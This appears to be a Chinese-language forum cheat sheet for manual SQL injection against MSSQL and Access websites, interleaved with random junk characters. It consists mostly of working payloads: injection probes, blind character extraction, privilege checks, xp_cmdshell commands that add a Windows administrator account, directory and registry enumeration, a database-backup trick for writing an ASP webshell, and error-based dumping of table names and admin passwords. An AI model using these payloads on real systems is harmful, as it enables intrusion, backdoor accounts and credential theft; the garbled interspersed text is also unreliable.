1.判断是否有注入 % V. q) \" r/ O! U; h! U% j
;and 1=1
; p3 B. c. y( N9 H: T1 Y, \;and 1=2
0 i- s6 T% ~4 o
% u! {$ u* H" m; E2.初步判断是否是mssql " D/ B4 V1 a- A. M9 B; k
;and user>0
# [0 g4 F$ V6 V; d2 s4 v9 m2 C* b7 t+ o6 E6 J
3.判断数据库系统
! Z. d, D% V5 V$ O0 L;and (select count(*) from sysobjects)>0 mssql $ x* x6 q, L6 {0 E; B! L- I' z) n! g; C
;and (select count(*) from msysobjects)>0 access 6 H2 q% e. r0 ^+ z9 U
) R5 Y. T3 x1 q% q4.注入参数是字符 . a) T$ I2 T. H' A% G- ?
'and [查询条件] and ''=' - d# |3 c: |& v: |0 f
4 n/ L! S) P) U4 g9 Y; M' Q5.搜索时没过滤参数的 5 {" D W8 s7 H8 t/ A
'and [查询条件] and '%25'=' 2 D" ?+ ^2 t0 B/ Y! a# B
( }: }, y# s; w- b4 J% f
6.猜数表名 5 I2 r' y& t |6 K, L" H- ?0 H, w# E
;and (select Count(*) from [表名])>0
) |5 E5 l3 t) I# I3 _/ ^+ V: T: t" [7 m0 a
7.猜字段
7 }, ?- _- m) Z2 ?* y& O;and (select Count(字段名) from 表名)>0 : f" g8 R+ E6 C: A% `
2 t! D/ x' S) H# j1 l/ P
8.猜字段中记录长度
9 k |3 g$ W5 h- M. P8 c% _- f: M;and (select top 1 len(字段名) from 表名)>0
' S: F2 M0 v; j# V7 f: d4 p" p) b( H a6 P5 S; a; P
9.(1)猜字段的ascii值(access)
- F4 S; j: ~# Z/ s;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ) r/ A. p2 u0 j" k/ _' b4 X
3 {5 u4 h$ j) I8 \7 R/ M) p6 `2 g(2)猜字段的ascii值(mssql) * U+ I* e7 v2 j( T
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ( L0 S3 e- o! ^8 d @
, J# ~/ D$ ?( M, @# n& Z9 W6 D5 W
10.测试权限结构(mssql)
V7 p8 ^+ C P- O! c" t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 @6 ^% M6 F8 h8 m;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- o% ]9 P- q5 w# H% D! k. h
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( Y. w6 i; Z6 |9 u! b
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- , J. k% ]* m( P0 f) \
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
9 i5 r/ k1 i8 X% }# N;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 w$ Z- v2 N+ s7 J4 O' T) a' ^( p. i# p;and 1=(select IS_MEMBER('db_owner'));-- 0 ?( ~0 u8 K) d4 Y
# d* q; M* E# n) u
11.添加mssql和系统的帐户 E1 P& \1 S/ G. I* C. D% l
;exec master.dbo.sp_addlogin username;-- $ r$ T: U. T# p7 q1 o. Y
;exec master.dbo.sp_password null,username,password;-- 0 H/ x) j4 E% W" @+ A0 r2 f; q5 ^
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
# q: m6 [% P9 x5 ]$ P;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ) n- i- b% u- u0 Y9 P- f
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . O5 t5 _0 D! Q1 l- }
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ _+ m$ u& W2 W! L9 R3 r2 x! f
+ l9 {; u% v: X8 A0 [9 N/ n12.(1)遍历目录 : a$ j: M: ]. ?; W& D5 J
;create table dirs(paths varchar(100), id int)
% _$ R, S+ g1 c( O9 g;insert dirs exec master.dbo.xp_dirtree 'c:\'
' |. [" X* v6 F! g;and (select top 1 paths from dirs)>0
$ k2 S, e& D$ c* P* u& Z, \;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % H/ o8 M. O/ N/ n1 c# h
& y6 V8 g- k ~+ j
(2)遍历目录
3 L1 M8 B/ m4 z) u- x;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
7 @8 f) I( E0 R; X& W: j" @;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
" S6 k# V W) C;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& W3 t# C# |3 c; g6 w3 |;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
6 V! g; s8 G ?+ S- g: M1 K% e;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
0 |; l5 Z$ b* Y# a' S: b! `! o
3 ~! d K) E; V M$ V13.mssql中的存储过程
! a: f9 G) X0 w& S3 Bxp_regenumvalues 注册表根键, 子键 5 z+ \# c: n! Y0 Y, N8 `
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
' l; N; Q7 O* y( F9 Ixp_regread 根键,子键,键值名 # \* \! k/ N" V: ~4 l& Q- V
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
* h; i8 t0 k, N! f' ?4 K* Y4 X. pxp_regwrite 根键,子键, 值名, 值类型, 值
: _- A6 E7 }: X: F) k3 g; s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
( j/ \" a/ V( b;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ; }" L1 p/ W5 D1 N V2 O& o: J
xp_regdeletevalue 根键,子键,值名
" q, J3 o3 M* t8 R3 Uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
C% l$ p; C+ N' v, cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
; k) }4 v! d! m* U/ @5 B& H( a3 R9 _# g V, n/ {" t
14.mssql的backup创建webshell
$ ^# a& u O/ Q, D8 puse model
U; b5 I* X, h8 t' r& Icreate table cmd(str image); : p) }; U8 }( ^& b6 q
insert into cmd(str) values ('<% Dim oScript %>');
0 n8 S$ w3 w7 Tbackup database model to disk='c:\l.asp'; # U! w; ~7 J) a
1 H v" V+ u5 W6 X
15.mssql内置函数 ; F' r9 k5 n, Y5 R: E
;and (select @@version)>0 获得Windows的版本号 ' `6 ?! `! Y/ S. L; t
;and user_name()='dbo' 判断当前系统的连接用户是不是sa F& h) e3 |1 q/ P2 r: Q8 z' j
;and (select user_name())>0 爆当前系统的连接用户
7 c+ j; d" f- B8 @) x! H: g K, @! H% \6 R;and (select db_name())>0 得到当前连接的数据库
/ k8 t; w! E$ K! J# d9 ?. ]
! a$ Z5 z8 t! P- }! V |8 d G' c4 A& [$ _5 o# a9 V: t; U
7 s9 l/ ]! H+ H0 m- |
MSSQL手注暴库5 y, a* O! S/ ]
0 @6 p) A+ P/ v. F# \2 S) o1.暴出当前表名和列名
9 R1 P1 K; L0 _7 K在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。/ ~8 s& Z0 O) d+ c7 s6 o% e
5 U* Y7 R1 N+ S& v
第一.爆出所有数据库名
3 U- V1 K7 D8 M$ O: q0 m利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。1 U+ U {! L) {' \% ?1 D' T# N4 ]
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
, f. U; l+ e. q: W9 n+ J
/ [+ e; E; \& b8 [! ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
. B2 r! I0 L% B
# H# ^* @7 z4 q; D6 B6 ^7 ~+ [. r& O$ \: d d+ r
第二.爆出指定库中的所有表名
( W/ w; e% x1 I( E5 |得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。5 J2 u f: t* s' |& R. X2 t
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
5 K" u" }; e% S( d6 F: E9 }
# E" L$ R% _& e* v! n$ Y! \" Yand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
, O W! z/ h2 b( t0 X8 ?7 p) kand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
& @1 W% G3 A% g2 F" A. \) ~and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--5 g( _9 @( I1 P1 r( @5 \
( u) Q% b* n$ |7 y2 |% j4 E$ ^
4.爆出指定表中的所有列名
4 K1 ~* {) P* P* @ K1 z- C' G# yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
3 ]+ Z2 ^ M; R# C- J& b//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
+ c$ `6 l) j4 M
/ r% W7 \, J2 K+ G- j6 yand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名1 x" V$ K. k) M7 g' j
1 s' r5 \; Q" @再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
5 \2 A8 W9 `' {4 {1 ^4 s+ Z7 h7 }依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。1 [* W9 Q" Q+ b2 A
* P8 K0 c1 u( ]+ e
0 B# S$ q/ I1 p$ B% }' Eand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
( q* ?7 D+ Y) s% ~7 h/ X5 k$ n
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
( z# [9 Q$ [, @) Z8 d& m3 ]* X! i. X( B: t: C# Z8 n# D$ Q7 O8 H
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
f- r! I# r" P: c5 v r: U4 X8 E G: R! U) S& G
) b/ y5 m3 E0 r) Z" o+ o" Y2 ~
% O& L( y" s0 Z- a4 b. T5.读取指定表中的数据7 c# U& R, K) ?0 O, w! u/ R1 n
* V+ g9 q3 @7 B% l% wand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
4 @+ J" S) f& g8 y* W
( V9 o I' W' Jand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--; ^7 b" E* B% {1 T, v: X
1 o9 u" x' W" M+ wand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
9 u& [% H2 J! M8 U9 g( i
9 c6 m* B' n( O2 u9 O+ m# f! a# j0 S% E( x7 O
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)8 T8 q1 F$ T+ j% P
* W- j j) W# i) y1 f
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)7 b, L% R3 A3 i4 @' s
$ F/ V. q1 {) j0 t+ N; E; |and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
' B# v, O; U9 X% F6 m* Q) {/ ]5 B; Y8 d
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
2 v6 @1 C1 O& |% K |